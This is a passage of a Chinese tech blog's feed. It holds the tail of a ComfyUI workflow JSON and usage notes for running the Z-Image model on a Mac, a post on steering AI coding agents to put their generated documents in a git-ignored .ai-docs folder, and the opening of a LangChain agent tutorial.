class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;模型&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">,</span><span class="attr">&quot;slot_index&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">47</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;ModelSamplingAuraFlow&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">3</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">3</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;KSampler&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">863</span><span class="punctuation">,</span><span class="number">186</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">315</span><span class="punctuation">,</span><span class="number">262</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">8</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;模型&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;model&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">47</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;正面条件&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;positive&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">4</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;负面条件&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;negative&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">6</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;Latent图像&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;latent_image&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">17</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;种子&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;seed&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;INT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;seed&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;步数&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;steps&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;INT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;steps&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;cfg&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;cfg&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;FLOAT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;cfg&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;采样器名称&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;sampler_name&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;sampler_name&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;调度器&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;scheduler&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;scheduler&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;降噪&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;denoise&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;FLOAT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;denoise&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;Latent&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;slot_index&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">51</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;KSampler&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">379878834255418</span><span class="punctuation">,</span><span class="string">&quot;randomize&quot;</span><span class="punctuation">,</span><span class="number">9</span><span class="punctuation">,</span><span class="number">1</span><span class="punctuation">,</span><span class="string">&quot;euler&quot;</span><span class="punctuation">,</span><span class="string">&quot;simple&quot;</span><span class="punctuation">,</span><span class="number">1</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">6</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIPTextEncode&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">420</span><span class="punctuation">,</span><span class="number">190</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">423.83001708984375</span><span class="punctuation">,</span><span class="number">177.11770629882812</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">5</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;clip&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;clip&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">43</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;文本&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;text&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;STRING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;text&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;条件&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;slot_index&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">4</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;title&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP Text Encode (Positive Prompt)&quot;</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIPTextEncode&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;cute anime style girl with massive fluffy fennec ears and a big fluffy tail blonde messy long hair blue eyes wearing a maid outfit with a long black gold leaf pattern dress and a white apron, it is a postcard held by a hand in front of a beautiful realistic city at sunset and there is cursive writing that says \&quot;ZImage, Now in ComfyUI\&quot;&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;color&quot;</span><span class="punctuation">:</span><span class="string">&quot;#232&quot;</span><span class="punctuation">,</span><span class="attr">&quot;bgcolor&quot;</span><span class="punctuation">:</span><span class="string">&quot;#353&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">[</span><span class="number">4</span><span class="punctuation">,</span><span class="number">6</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">3</span><span class="punctuation">,</span><span class="number">1</span><span class="punctuation">,</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">6</span><span class="punctuation">,</span><span class="number">7</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">3</span><span class="punctuation">,</span><span class="number">2</span><span class="punctuation">,</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">16</span><span class="punctuation">,</span><span class="number">8</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">9</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="string">&quot;IMAGE&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">17</span><span class="punctuation">,</span><span class="number">13</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">3</span><span class="punctuation">,</span><span class="number">3</span><span class="punctuation">,</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">42</span><span class="punctuation">,</span><span class="number">16</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">11</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">43</span><span class="punctuation">,</span><span class="number">18</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">6</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="string">&quot;CLIP&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">44</span><span class="punctuation">,</span><span class="number">18</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">7</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="string">&quot;CLIP&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">45</span><span class="punctuation">,</span><span class="number">17</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">8</span><span class="punctuation">,</span><span class="number">1</span><span class="punctuation">,</span><span class="string">&quot;VAE&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">47</span><span class="punctuation">,</span><span class="number">11</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">3</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="punctuation">[</span><span class="number">51</span><span class="punctuation">,</span><span class="number">3</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="number">8</span><span class="punctuation">,</span><span class="number">0</span><span class="punctuation">,</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">]</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;groups&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;config&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;extra&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;ds&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;scale&quot;</span><span class="punctuation">:</span><span class="number">0.5209868481924532</span><span class="punctuation">,</span><span class="attr">&quot;offset&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">569.5286501182709</span><span class="punctuation">,</span><span class="number">292.7689360254662</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;frontendVersion&quot;</span><span class="punctuation">:</span><span class="string">&quot;1.30.6&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;version&quot;</span><span class="punctuation">:</span><span class="number">0.4</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></div></details></br><h2 id="使用">使用</h2><p>配置好工作流后，可以直接点一次run来查看效果了。如果一切正常，模型都被加载了，是能够直接运行的！</p><p>如下图所示，这里是使用了默认的提示词，生成了一个猫娘的照片，同时上面有文字信息。第一次运行用了120s，第二次运行用了92s，使用的mac是m4pro 48g</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/97634a5dedd80f45b3b9ba08800d912c.webp" alt="image.png"></p><p>提示词如下，我们只需要修改Positive节点的prompt和Native节点的prompt就可以让Z-Image生成其他我们想要的图片了。根据官网的描述，推荐使用英文prompt，效果会更好。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cute anime style girl with massive fluffy fennec ears and a big fluffy tail blonde messy long hair blue eyes wearing a maid outfit with a long black gold leaf pattern dress and a white apron, it is a postcard held by a hand in front of a beautiful realistic city at sunset and there is cursive writing that says &quot;ZImage, Now in ComfyUI&quot;</span><br></pre></td></tr></table></figure><p>默认情况下，生成的图片是1024x1024的，可以通过修改这个节点来修改分辨率，分辨率越低生成图片速度越快。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/d3412ad9ad30f8f373aac224520f5d51.webp" alt="image.png"></p><p>到这里本地部署和使用就搞定啦，至于其他微调和奇怪的用法我还没有研究过，且听下回分解……</p>]]></content>
    
    
    <summary type="html">在MacBook上用ConfyUI部署阿里Z-Image最新开源模型，非常简单，开箱即用</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="编程工具" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="AI编程工具" scheme="https://blog.musnow.top/tags/AI%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>【AI】AI老是喜欢写总结文档，咋办？</title>
    <link href="https://blog.musnow.top/posts/2379700856/"/>
    <id>https://blog.musnow.top/posts/2379700856/</id>
    <published>2025-11-05T23:18:52.000Z</published>
    <updated>2025-11-17T02:50:36.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="说明">说明</h3><p>最近这一年，各个类型的AI编程工具那是层出不穷，想必大家都遇到过一个问题，那就是AI在完成你给定的任务的时候，会输出非常非常非常非常非常多的文档和其他附属产物：</p><ul><li>说明文档</li><li>使用文档</li><li>总结文档</li><li>测试代码</li><li>……</li></ul><p>特别是claude的模型，写文档那是太喜欢了。而国产的GLM-4.6和Qwen估计是蒸馏了太多claude模型的数据，导致这俩模型也爱上了写文档，那是卡卡给你写的层出不穷。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/4dbe758c65804fba5ecdf6ff8072c8be.webp" alt="image.png"></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/a7888ac7c14e3e8e7fe4602d3a0c1e0f.webp" alt="image.png"></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/af94dafc6f409032e6e4213ef2badcd3.webp" alt="image.png"></p><p>对于程序员来说，这些文档可烦死人了，每次完成这个任务之后，都得手动把AI写的那一大堆没用的文档给删掉。而在企业级项目里，这些文档更是不可能提交到git里面去的，绝对是污染源。这还只是给用户带来的使用体验上的困扰，<strong>更别提写这么多文档要多浪费多少输出Token的AI资费了</strong>。</p><p>这时候，绝大部分朋友应该都能想到一个办法，在工具的System Prompt设置里面，让AI不要写文档。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">除非用户明确表明，否则不要生成任何文档或测试代码。</span><br></pre></td></tr></table></figure><p>但实际场景下，这个Prompt效果并不好，会出现AI生成文档-&gt;发现用户要求不要生成文档-&gt;删除文档的操作。相比于不加上这个Prompt，反而更耗费Token了，因为多了一个“删除文档”的工具调用。只能说无语了……</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2023/02/202211031202555.gif" alt="QQ图片20220415220934"></p><h3 id="正确做法，堵不如疏">正确做法，堵不如疏</h3><p>既然Agent没办法遵循我们“不写文档”的要求，那还不如给个引导，让AI把测试代码和文档都放到一个指定的<code>.ai-docs</code>目录下，然后，再在<code>.gitignore</code>里面忽略掉这个项目。</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">你是一个高效的AI助手，请遵循如下要求完成用户的任务：</span><br><span class="line"><span class="bullet">-</span> 所有生成的说明文档和测试代码都需要放入.ai-docs目录下，除非用户明确指定输出路径。</span><br><span class="line"><span class="bullet">-</span> 除非用户明确指定输出语言，所有问题都需要用中文回答，代码注释需要使用中文。</span><br></pre></td></tr></table></figure><p>慕雪实测，这个方案效果远远好于让AI不生成文档的要求。</p><p>根据你使用的不同的AI工具，把这段话加到System Prompt或者上下文的设置里就可以了。比如<code>~/.claude/CLAUDE.md</code>文件中。</p><h2 id="The-end">The end</h2><p>如果你也被AI在代码仓库里面“拉屎”的问题烦到了，也可以试试慕雪的这个方案。虽然没有解决AI输出一大堆无用数据的问题，但至少不会影响仓库文件管理了。</p>]]></content>
    
    
    <summary type="html">堵不如疏，与其想办法抑制AI写文档的“决心”，不如让其输出到特定位置。</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="编程工具" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="AI编程工具" scheme="https://blog.musnow.top/tags/AI%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>【Agent.08】LangChain的第一个Demo：从零开始构建Agent</title>
    <link href="https://blog.musnow.top/posts/8376761897/"/>
    <id>https://blog.musnow.top/posts/8376761897/</id>
    <published>2025-11-02T07:26:19.000Z</published>
    <updated>2025-11-18T14:16:48.000Z</updated>
    
    <content type="html"><![CDATA[<p>欢迎阅读慕雪撰写的AI Agent专栏，本专栏目录如下</p><ol class="series-items"><li><a href="/posts/2831928244/" title="【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？">【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？</a></li><li><a href="/posts/4710483697/" title="【AI】AI对26届及今后计算机校招的影响">【AI】AI对26届及今后计算机校招的影响</a></li><li><a href="/posts/6796656750/" title="【Agent.01】AI Agent智能体开发专题引言">【Agent.01】AI Agent智能体开发专题引言</a></li><li><a href="/posts/6151856853/" title="【Agent.02】市面上常见的大模型有哪些？">【Agent.02】市面上常见的大模型有哪些？</a></li><li><a href="/posts/5745961587/" title="【Agent.03】带你学会写一个基础的Prompt">【Agent.03】带你学会写一个基础的Prompt</a></li><li><a href="/posts/4044218607/" title="【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互">【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互</a></li><li><a href="/posts/5189745838/" title="【Agent.05】OpenAI接口Function Calling工具调用详解">【Agent.05】OpenAI接口Function Calling工具调用详解</a></li><li><a href="/posts/2999693839/" title="【Agent.06】使用openai sdk实现多轮对话">【Agent.06】使用openai sdk实现多轮对话</a></li><li><a href="/posts/1697221744/" title="【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路">【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路</a></li><li><a href="/posts/8376761897/" title="【Agent.08】LangChain的第一个Demo：从零开始构建Agent">【Agent.08】LangChain的第一个Demo：从零开始构建Agent</a></li><li><a href="/posts/1111260513/" title="【Agent.09】LangChain里面使用MCP工具">【Agent.09】LangChain里面使用MCP工具</a></li><li><a href="/posts/7980046278/" title="【Agent.10】OpenAI接口输出格式约束（response_format）">【Agent.10】OpenAI接口输出格式约束（response_format）</a></li></ol><p>本专栏所有代码都会归档至 <a href="https://gitee.com/musnows/agent-blog">musnows/agent-blog</a> 开源仓库。</p><p>在上一篇文章中，我们了解了Agent的概念和ReAct工作原理。现在，让我们正式开始学习如何使用Agent框架来构建自己的AI Agent。本文将以业界最流行的LangChain框架为例，带大家编写第一个Agent程序。</p><h2 id="1-什么是LangChain？">1. 什么是LangChain？</h2><h3 id="1-1-LangChain简介">1.1. LangChain简介</h3><ul><li>官方文档：<a href="https://docs.langchain.com/oss/python/langchain/quickstart">https://docs.langchain.com/oss/python/langchain/quickstart</a></li><li>开源仓库：<a href="https://github.com/langchain-ai">https://github.com/langchain-ai</a></li></ul><p>LangChain是一个专门用于构建AI应用的框架，特别是Agent应用。它就像是AI应用开发的&quot;瑞士军刀&quot;，提供了构建Agent所需的各种工具和组件。</p><p>Agent SDK和基础的OpenAI接口调用的区别，在本专栏前几篇文章中已经阐述过了，这里不再赘述。AI 